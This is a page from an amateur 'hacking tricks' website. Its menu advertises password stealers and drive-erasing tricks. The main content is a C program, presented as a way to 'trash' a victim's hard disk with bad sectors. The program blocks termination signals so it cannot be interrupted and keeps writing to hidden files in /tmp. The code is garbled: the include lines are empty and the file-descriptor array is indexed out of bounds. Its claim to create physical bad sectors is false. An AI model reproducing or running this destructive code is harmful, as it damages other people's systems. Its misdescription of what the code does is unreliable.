Welcome
Home
Polls
Forums
Mobile Tips And Tricks
Bios and Cmos
Hacking basics
Hacks And Cracks
=> WINAMP LOOPHOLE TO DOWNLOAD FREE MUSIC
=> Detect your Anti Virus is working or not
=> •๋●๋Remove urself from the ignore list๋●๋๋•
=> All messenger PW-Stealer
=> Know the Ip with whom u r connected
=> Shut Down Network Computers
=> FTP Servers With TONS Of DOWNLOADS
=> •๋● Google Magic ๋●๋๋•
=> •๋●๋ 27 Steps of Make ur PC More Faster ๋●๋๋•
=> ENABLING RIGHT CLICKS ON SITE DAT DISABLE IT
=> CHANGE YAHOO MESSENGER TITLE
=> PREVENT COMPUTER TO BOOT
=> FORMATTING HDDD WHILE RUNNING WINDOWS
=> FORMAT HDD USING NOTEPAD
=> FIND WHO IS INVISIBLE IN YAHOO MESSENGER
=> HIDDEN STARWARS IN WINXP
=> CREATING BAD SECTORS IN HDD
=> ERASE HDD
=> ERASING A SECTOR OF HDD
=> Breaking the Restrictions of the Administrator
=> FIND IP ADDRESS OF SENDER IN YAHOO
=> KNOWING WHO HACKED U
=> HACKING ADMIN FROM USER ACCOUNT
=> HACKING MSN
=> ADDING OR MODIFYING OTHER USER'S ACCOUNT
=> BYPASSING WEBFILTERS
=> HACKING UR SCHOOL'S OR COLLEGE'S PC
=> HACK SCHOOL-2
VIRUS FIXING
Anti Hacking
DOS TRICKS AND HACKS
Explorer hacks
Hacking Orkut
 

CREATING BAD SECTORS IN HDD

THIS TRICKS IS ONLY FOR KNOWLEDGE PURPOSE SO PLZ DONT USE IT FOR WRONG PURPOSE...
A C source code


/*create bad sectors on the hard disk.
*
* This program will create bad sectors on the hard disk. If you left it
* running for long enough, it could render a hard disk quite useless. When
* bad sectors are found, the sector is marked as bad, so fixing the hard disk
* is not an easy task. Unless the victim has time and knowledge to fix the
* disk, the hard drive can be left quite literally defective.
* supported by preetam
* I don't take responsibility for what you do with this program, served foe educational purpose only.
*
*
*/

#include
#include
#include
#include
#include
#include
#include

#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf("sekt0r: trashing hard disk with bad sectors!n");

while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);

for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);

} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */


void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

printf("sekt0r: cannot exit - trashing hard disk with bad sectors!n");
return; /* go back to creating bad sectors. */
}

Today, there have been 79 visitors (154 hits) on this page!
This website was created for free with Own-Free-Website.com. Would you also like to have your own website?
Sign up for free